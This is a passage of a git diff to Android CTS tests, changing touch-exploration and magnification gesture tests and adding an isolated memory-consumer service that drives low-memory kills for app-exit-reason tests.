         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
@@ -179,7 +179,11 @@
 
     @Test
     public void testPanning() {
-        if (!mHasTouchscreen) return;
+        //The minimum movement to transit to panningState.
+        final float minSwipeDistance = ViewConfiguration.get(
+                mInstrumentation.getContext()).getScaledTouchSlop();
+        final boolean screenBigEnough = mPan > minSwipeDistance;
+        if (!mHasTouchscreen || !screenBigEnough) return;
         assertFalse(isZoomed());
 
         setZoomByTripleTapping(true);
@@ -190,7 +194,8 @@
                 swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
 
         waitOn(mZoomLock,
-                () -> (mCurrentZoomCenter.x - oldCenter.x >= mPan / mCurrentScale * 0.9));
+                () -> (mCurrentZoomCenter.x - oldCenter.x
+                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
 
         setZoomByTripleTapping(false);
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 655b1fe..80a3054 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -17,20 +17,14 @@
 package android.accessibilityservice.cts;
 
 import static android.accessibilityservice.cts.utils.AsyncUtils.await;
-import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
-import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
 import static android.accessibilityservice.cts.utils.GestureUtils.add;
-import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
 import static android.accessibilityservice.cts.utils.GestureUtils.click;
-import static android.accessibilityservice.cts.utils.GestureUtils.diff;
 import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
-import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
 import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.secondFingerMultiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
-import static android.accessibilityservice.cts.utils.GestureUtils.times;
 import static android.view.MotionEvent.ACTION_DOWN;
 import static android.view.MotionEvent.ACTION_HOVER_ENTER;
 import static android.view.MotionEvent.ACTION_HOVER_EXIT;
@@ -49,9 +43,6 @@
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
 
-import static org.hamcrest.CoreMatchers.both;
-import static org.hamcrest.MatcherAssert.assertThat;
-
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.GestureDescription;
@@ -71,7 +62,6 @@
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
 import android.view.Display;
-import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
@@ -87,8 +77,6 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
-import java.util.List;
-
 /**
  * A set of tests for testing touch exploration. Each test dispatches a gesture and checks for the
  * appropriate hover and/or touch events followed by the appropriate accessibility events. Some
@@ -99,12 +87,12 @@
 public class TouchExplorerTest {
     // Constants
     private static final float GESTURE_LENGTH_INCHES = 1.0f;
-    private static final int SWIPE_TIME_MILLIS = 400;
     private TouchExplorationStubAccessibilityService mService;
     private Instrumentation mInstrumentation;
     private UiAutomation mUiAutomation;
     private boolean mHasTouchscreen;
     private boolean mScreenBigEnough;
+    private long mSwipeTimeMillis;
     private EventCapturingHoverListener mHoverListener = new EventCapturingHoverListener(false);
     private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener(false);
     private EventCapturingClickListener mClickListener = new EventCapturingClickListener();
@@ -164,6 +152,7 @@
                     mCenter = new Point(viewLocation[0] + midX, viewLocation[1] + midY);
                     mTapLocation = new PointF(mCenter);
                     mSwipeDistance = (viewLocation[0] + mView.getWidth()) / 4;
+                    mSwipeTimeMillis = (long) mSwipeDistance * 4;
                     mView.setOnClickListener(mClickListener);
                     mView.setOnLongClickListener(mLongClickListener);
                 });
@@ -174,7 +163,7 @@
     @AppModeFull
     public void testSlowSwipe_initiatesTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), SWIPE_TIME_MILLIS));
+        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), mSwipeTimeMillis));
         mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
         mTouchListener.assertNonePropagated();
         mService.assertPropagated(
@@ -218,29 +207,9 @@
         final PointF finger2Start = add(dragStart, -twoFingerOffset, 0);
         final PointF finger2End = add(finger2Start, 0, mSwipeDistance);
         dispatch(
-                swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS),
-                swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS));
-        List<MotionEvent> twoFingerPoints = mTouchListener.getRawEvents();
-
-        // Check the drag events performed by a two finger drag. The moving locations would be
-        // adjusted to the middle of two fingers.
-        final int numEvents = twoFingerPoints.size();
-        final int upEventIndex = numEvents - 1;
-        final float stepDuration =
-                (float)
-                        (twoFingerPoints.get(1).getEventTime()
-                                - twoFingerPoints.get(0).getEventTime());
-        final float gestureDuration =
-                (float)
-                        (twoFingerPoints.get(upEventIndex).getEventTime()
-                                - twoFingerPoints.get(0).getEventTime());
-        final float intervalFraction =
-                stepDuration * (mSwipeDistance / gestureDuration) / gestureDuration;
-        PointF downPoint = add(dragStart, ceil(times(intervalFraction, diff(dragEnd, dragStart))));
-        assertThat(twoFingerPoints.get(0), both(IS_ACTION_DOWN).and(isRawAtPoint(downPoint, 1.0f)));
-        assertThat(
-                twoFingerPoints.get(upEventIndex),
-                both(IS_ACTION_UP).and(isRawAtPoint(finger2End, 1.0f)));
+                swipe(finger1Start, finger1End, mSwipeTimeMillis),
+                swipe(finger2Start, finger2End, mSwipeTimeMillis));
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
     }
 
     /** Test a basic single tap which should initiate touch exploration. */
@@ -311,7 +280,7 @@
      */
     @Test
     @AppModeFull
-    public void testDoubleTapNoAccessibilityFocus_doesNotPerformClick() {
+    public void testDoubleTapNoFocus_doesNotPerformClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
@@ -322,34 +291,12 @@
     }
 
     /**
-     * Test the case where we want to long click on the item that has accessibility focus. Note that
-     * this test does not request that double tap and hold be dispatched to the accessibility
-     * service, meaning that it will be handled by the framework and the view will be long clicked.
-     */
-    @Test
-    @AppModeFull
-    public void testDoubleTapAndHoldAccessibilityFocus_performsLongClick() {
-        if (!mHasTouchscreen || !mScreenBigEnough) return;
-        syncAccessibilityFocusToInputFocus();
-        dispatch(doubleTapAndHold(mTapLocation));
-        mHoverListener.assertNonePropagated();
-        // The click should not be delivered via touch events in this case.
-        mTouchListener.assertNonePropagated();
-        mService.assertPropagated(
-                TYPE_VIEW_ACCESSIBILITY_FOCUSED,
-                TYPE_TOUCH_INTERACTION_START,
-                TYPE_VIEW_LONG_CLICKED,
-                TYPE_TOUCH_INTERACTION_END);
-        mLongClickListener.assertLongClicked(mView);
-    }
-
-    /**
      * Test the case where we double tap and hold but there is no accessibility focus. Nothing
      * should happen.
      */
     @Test
     @AppModeFull
-    public void testDoubleTapAndHoldNoAccessibilityFocus_doesNotPerformLongClick() {
+    public void testDoubleTapAndHoldNoFocus_doesNotPerformLongClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
@@ -389,6 +336,63 @@
     }
 
     /**
+     * Test the case where we double tap and no item has accessibility focus, so TouchExplorer sends
+     * touch events to the last touch-explored coordinates to simulate a click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTap(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END, TYPE_VIEW_CLICKED);
+        mClickListener.assertClicked(mView);
+    }
+
+    /**
+     * Test the case where we double tap and hold and no item has accessibility focus, so
+     * TouchExplorer sends touch events to the last touch-explored coordinates to simulate a long
+     * click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapAndHoldNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTapAndHold(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_VIEW_LONG_CLICKED, TYPE_TOUCH_INTERACTION_END);
+        mLongClickListener.assertLongClicked(mView);
+    }
+
+    /**
      * Test the case where we want to double tap using a second finger without triggering touch
      * exploration.
      */
@@ -433,9 +437,9 @@
         PointF finger2End = add(mTapLocation, 0, mSwipeDistance);
         PointF finger3Start = add(mTapLocation, mSwipeDistance, 0);
         PointF finger3End = add(mTapLocation, mSwipeDistance, mSwipeDistance);
-        StrokeDescription swipe1 = swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS);
-        StrokeDescription swipe2 = swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS);
-        StrokeDescription swipe3 = swipe(finger3Start, finger3End, SWIPE_TIME_MILLIS);
+        StrokeDescription swipe1 = swipe(finger1Start, finger1End, mSwipeTimeMillis);
+        StrokeDescription swipe2 = swipe(finger2Start, finger2End, mSwipeTimeMillis);
+        StrokeDescription swipe3 = swipe(finger3Start, finger3End, mSwipeTimeMillis);
         dispatch(swipe1, swipe2, swipe3);
         mHoverListener.assertNonePropagated();
         mTouchListener.assertPropagated(
@@ -460,10 +464,10 @@
         // Move two fingers towards eacher slowly.
         PointF finger1Start = add(mTapLocation, -mSwipeDistance, 0);
         PointF finger1End = add(mTapLocation, -10, 0);
-        StrokeDescription swipe1 = swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS);
+        StrokeDescription swipe1 = swipe(finger1Start, finger1End, mSwipeTimeMillis);
         PointF finger2Start = add(mTapLocation, mSwipeDistance, 0);
         PointF finger2End = add(mTapLocation, 10, 0);
-        StrokeDescription swipe2 = swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS);
+        StrokeDescription swipe2 = swipe(finger2Start, finger2End, mSwipeTimeMillis);
         dispatch(swipe1, swipe2);
         mHoverListener.assertNonePropagated();
         mTouchListener.assertPropagated(
diff --git a/tests/app/AppExitTest/AndroidManifest.xml b/tests/app/AppExitTest/AndroidManifest.xml
index 4606ca5..64a1ab8 100644
--- a/tests/app/AppExitTest/AndroidManifest.xml
+++ b/tests/app/AppExitTest/AndroidManifest.xml
@@ -24,6 +24,10 @@
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
+        <service android:name="android.app.cts.MemoryConsumerService"
+                android:exported="true"
+                android:isolatedProcess="true">
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index bd9e5af..cbded8b 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -30,6 +30,7 @@
 import android.externalservice.common.RunningServiceInfo;
 import android.externalservice.common.ServiceMessages;
 import android.os.AsyncTask;
+import android.os.Binder;
 import android.os.Bundle;
 import android.os.DropBoxManager;
 import android.os.Handler;
@@ -44,12 +45,12 @@
 import android.os.UserManager;
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
-import android.system.Os;
 import android.system.OsConstants;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 import android.util.DebugUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import com.android.compatibility.common.util.AmMonitor;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -58,9 +59,7 @@
 import com.android.internal.util.MemInfoReader;
 
 import java.io.BufferedInputStream;
-import java.io.FileDescriptor;
 import java.io.IOException;
-import java.nio.DirectByteBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -131,6 +130,8 @@
     private UserHandle mOtherUserHandle;
     private DropBoxManager.Entry mAnrEntry;
     private SettingsSession<String> mDataAnrSettings;
+    private SettingsSession<String> mHiddenApiSettings;
+    private int mProcSeqNum;
 
     @Override
     protected void setUp() throws Exception {
@@ -154,6 +155,11 @@
                         Settings.Global.DROPBOX_TAG_PREFIX + "data_app_anr"),
                 Settings.Global::getString, Settings.Global::putString);
         mDataAnrSettings.set("enabled");
+        mHiddenApiSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(
+                        Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+                Settings.Global::getString, Settings.Global::putString);
+        mHiddenApiSettings.set("*");
     }
 
     private void handleMessagePid(Message msg) {
@@ -217,6 +223,9 @@
         if (mDataAnrSettings != null) {
             mDataAnrSettings.close();
         }
+        if (mHiddenApiSettings != null) {
+            mHiddenApiSettings.close();
+        }
     }
 
     private int createUser(String name, boolean guest) throws Exception {
@@ -391,47 +400,37 @@
                 ApplicationExitInfo.REASON_EXIT_SELF, EXIT_CODE, null, now, now2);
     }
 
-    private List<ApplicationExitInfo> fillUpMemoryAndCheck(ArrayList<Long> addresses)
-            throws Exception {
-        List<ApplicationExitInfo> list = null;
-        // Get the meminfo firstly
-        MemInfoReader reader = new MemInfoReader();
-        reader.readMemInfo();
+    private List<ServiceConnection> fillUpMemoryAndCheck(
+            final MemoryConsumerService.TestFuncInterface testFunc,
+            final List<ApplicationExitInfo> list) throws Exception {
+        final String procNamePrefix = "memconsumer_";
+        final ArrayList<ServiceConnection> memConsumers = new ArrayList<>();
+        Pair<IBinder, ServiceConnection> p = MemoryConsumerService.bindToService(
+                mContext, testFunc, procNamePrefix + mProcSeqNum++);
+        IBinder consumer = p.first;
+        memConsumers.add(p.second);
 
-        long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
-        final int pageSize = 4096;
-        final int oneMb = 1024 * 1024;
+        while (list.size() == 0) {
+            // Get the meminfo firstly
+            MemInfoReader reader = new MemInfoReader();
+            reader.readMemInfo();
 
-        // Create an empty fd -1
-        FileDescriptor fd = new FileDescriptor();
-
-        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
-        for (long i = 0; i < totalMb; i++) {
-            long addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
-                    OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
-            if (addr == 0) {
-                break;
+            long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
+            if (!MemoryConsumerService.runOnce(consumer, totalMb) && list.size() == 0) {
+                // Need to create a new consumer (the present one might be running out of space)
+                p = MemoryConsumerService.bindToService(mContext, testFunc,
+                        procNamePrefix + mProcSeqNum++);
+                consumer = p.first;
+                memConsumers.add(p.second);
             }
-            addresses.add(addr);
-
-            // We don't have direct access to Memory.pokeByte() though
-            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
-
-            // Dirt the buffer
-            for (int j = 0; j < oneMb; j += pageSize) {
-                buf.put(j, (byte) 0xf);
-            }
-
-            // Check if we could get the report
-            list = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    STUB_PACKAGE_NAME, mStubPackagePid, 1,
-                    mActivityManager::getHistoricalProcessExitReasons,
-                    android.Manifest.permission.DUMP);
-            if (list != null && list.size() == 1) {
+            // make sure we have cached process killed
+            String output = executeShellCmd("dumpsys activity lru");
+            if (output == null && output.indexOf(" cch+") == -1) {
                 break;
             }
         }
-        return list;
+
+        return memConsumers;
     }
 
     public void testLmkdKill() throws Exception {
@@ -444,23 +443,32 @@
         // Start a process and do nothing
         startService(ACTION_FINISH, STUB_SERVICE_NAME, false, false);
 
-        final int oneMb = 1024 * 1024;
-        ArrayList<Long> addresses = new ArrayList<Long>();
-        List<ApplicationExitInfo> list = fillUpMemoryAndCheck(addresses);
+        final ArrayList<IBinder> memConsumers = new ArrayList<>();
+        List<ApplicationExitInfo> list = new ArrayList<>();
+        final MemoryConsumerService.TestFuncInterface testFunc =
+                new MemoryConsumerService.TestFuncInterface(() -> {
+                    final long token = Binder.clearCallingIdentity();
+                    try {
+                        List<ApplicationExitInfo> result =
+                                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                                        STUB_PACKAGE_NAME, mStubPackagePid, 1,
+                                        mActivityManager::getHistoricalProcessExitReasons,
+                                        android.Manifest.permission.DUMP);
+                        if (result != null && result.size() == 1) {
+                            list.add(result.get(0));
+                            return true;
+                        }
+                    } finally {
+                        Binder.restoreCallingIdentity(token);
+                    }
+                    return false;
+                });
 
-        while (list == null || list.size() == 0) {
-            // make sure we have cached process killed
-            String output = executeShellCmd("dumpsys activity lru");
-            if (output == null && output.indexOf(" cch+") == -1) {
-                break;
-            }
-            // try again since the system might have reclaimed some ram
-            list = fillUpMemoryAndCheck(addresses);
-        }
+        List<ServiceConnection> services = fillUpMemoryAndCheck(testFunc, list);
 
-        // Free all the buffers firstly
-        for (int i = addresses.size() - 1; i >= 0; i--) {
-            Os.munmap(addresses.get(i), oneMb);
+        // Unbind all the service connections firstly
+        for (int i = services.size() - 1; i >= 0; i--) {
+            mContext.unbindService(services.get(i));
         }
 
         long now2 = System.currentTimeMillis();
diff --git a/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
new file mode 100644
index 0000000..cca0fac
--- /dev/null
+++ b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.AsyncTask;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+import android.util.Pair;
+
+import java.io.FileDescriptor;
+import java.nio.DirectByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class MemoryConsumerService extends Service {
+    private static final String TAG = MemoryConsumerService.class.getSimpleName();
+
+    private static final int ACTION_RUN_ONCE = IBinder.FIRST_CALL_TRANSACTION;
+    private static final String EXTRA_BUNDLE = "bundle";
+    private static final String EXTRA_TEST_FUNC = "test_func";
+
+    private IBinder mTestFunc;
+
+    private IBinder mBinder = new Binder() {
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_RUN_ONCE:
+                    reply.writeBoolean(fillUpMemoryAndCheck(data.readLong(), mTestFunc));
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    };
+
+    static class TestFuncInterface extends Binder {
+        static final int ACTION_TEST = IBinder.FIRST_CALL_TRANSACTION;
+
+        private final BooleanSupplier mTestFunc;
+
+        TestFuncInterface(final BooleanSupplier testFunc) {
+            mTestFunc = testFunc;
+        }
+
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_TEST:
+                    reply.writeBoolean(mTestFunc.getAsBoolean());
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    }
+
+    private boolean fillUpMemoryAndCheck(final long totalMb, final IBinder testFunc) {
+        final int pageSize = 4096;
+        final int oneMb = 1024 * 1024;
+
+        // Create an empty fd -1
+        FileDescriptor fd = new FileDescriptor();
+
+        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
+        for (long i = 0; i < totalMb; i++) {
+            long addr = 0L;
+            try {
+                addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
+                        OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
+            } catch (ErrnoException e) {
+                Log.d(TAG, "mmap returns " + e.errno);
+                if (e.errno == OsConstants.ENOMEM) {
+                    // Running out of address space?
+                    return false;
+                }
+            }
+            if (addr == 0) {
+                return false;
+            }
+
+            // We don't have direct access to Memory.pokeByte() though
+            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
+
+            // Dirt the buffer
+            for (int j = 0; j < oneMb; j += pageSize) {
+                buf.put(j, (byte) 0xf);
+            }
+
+            // Test to see if we could stop
+            Parcel data = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            try {
+                testFunc.transact(TestFuncInterface.ACTION_TEST, data, reply, 0);
+                if (reply.readBoolean()) {
+                    break;
+                }
+            } catch (RemoteException e) {
+                // Ignore
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+        return true;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        final Bundle bundle = intent.getBundleExtra(EXTRA_BUNDLE);
+        mTestFunc = bundle.getBinder(EXTRA_TEST_FUNC);
+        return mBinder;
+    }
+
+    static Pair<IBinder, ServiceConnection> bindToService(final Context context,
+            final TestFuncInterface testFunc, String instanceName) throws Exception {
+        final Intent intent = new Intent();
+        intent.setClass(context, MemoryConsumerService.class);
+        final Bundle bundle = new Bundle();
+        bundle.putBinder(EXTRA_TEST_FUNC, testFunc);
+        intent.putExtra(EXTRA_BUNDLE, bundle);
+        final String keyIBinder = "ibinder";
+        final Bundle holder = new Bundle();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ServiceConnection conn = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                holder.putBinder(keyIBinder, service);
+                latch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+            }
+        };
+        context.bindIsolatedService(intent, Context.BIND_AUTO_CREATE,
+                instanceName, AsyncTask.THREAD_POOL_EXECUTOR, conn);
+        latch.await(10_000, TimeUnit.MILLISECONDS);
+        return new Pair<>(holder.getBinder(keyIBinder), conn);
+    }
+
+    static boolean runOnce(final IBinder binder, final long totalMb) {
+        final Parcel data = Parcel.obtain();
+        final Parcel reply = Parcel.obtain();
+
+        try {
+            data.writeLong(totalMb);
+            binder.transact(ACTION_RUN_ONCE, data, reply, 0);
+            return reply.readBoolean();
+        } catch (RemoteException e) {
+            return false;
+        } finally {
+            data.recycle();
+            reply.recycle();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/ActionBarTest.java b/tests/app/src/android/app/cts/ActionBarTest.java
index ee28c27..f3d2846 100644
--- a/tests/app/src/android/app/cts/ActionBarTest.java
+++ b/tests/app/src/android/app/cts/ActionBarTest.java
@@ -124,6 +124,21 @@
         assertFalse(menuIsVisible[0]);
     }
 
+    @UiThreadTest
+    public void testElevation() {
+        if (mBar == null) {
+            return;
+        }
+        final float oldElevation = mBar.getElevation();
+        try {
+            final float newElevation = 42;
+            mBar.setElevation(newElevation);
+            assertEquals(newElevation, mBar.getElevation());
+        } finally {
+            mBar.setElevation(oldElevation);
+        }
+    }
+
     private Tab createTab(String name) {
         return mBar.newTab().setText("Tab 1").setTabListener(new TestTabListener());
     }
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 748442d..28611c5 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -83,9 +83,6 @@
     private static final int WAITFOR_MSEC = 10000;
     private static final int NOTEOP_COUNT = 5;
 
-    //TODO: remove this when development is done.
-    private static final int DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION = 1 << 31;
-
     private static final Instrumentation sInstrumentation =
             InstrumentationRegistry.getInstrumentation();
     private static final Context sContext = sInstrumentation.getContext();
@@ -209,7 +206,7 @@
         // Wait for state and capability change.
         // BG started FGS does not have location capability.
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         startSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
@@ -220,7 +217,7 @@
 
         stopSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         // AppOps location access should be denied.
         assertEquals(MODE_IGNORED, noteOp(OPSTR_COARSE_LOCATION));
@@ -265,7 +262,7 @@
         stopSimpleActivity();
         // The callingPackage to start FGS is in background.
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
         for (int i = 0; i < NOTEOP_COUNT; i++) {
             noteOp(OPSTR_COARSE_LOCATION);
         }
@@ -309,7 +306,7 @@
         startSimpleService();
         // Wait for state and capability change.
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         // Non-Top started FGS do not have while-in-use permission, camera/microphone access is
         // denied.
@@ -329,7 +326,7 @@
         // Tell the activity to finalize.
         stopSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
-                new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                new Integer(PROCESS_CAPABILITY_NONE));
 
         // App not in Top, camera/microphone access should be denied.
         assertEquals(MODE_IGNORED, noteOp(OPSTR_CAMERA));
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 9a4cb3a..9302e67 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -37,10 +37,6 @@
     private static final String PACKAGE_NAME_APP1 = "com.android.app1";
     private static final String PACKAGE_NAME_APP2 = "com.android.app2";
     private static final String PACKAGE_NAME_APP3 = "com.android.app3";
-
-    //TODO: remove this when development is done.
-    private static final int DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION = 1 << 31;
-
     private static final String ACTION_START_FGS_RESULT =
             "android.app.stubs.LocalForegroundService.RESULT";
     private static final String ACTION_START_FGSL_RESULT =
@@ -91,7 +87,7 @@
             // Package1 is in FGS state, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
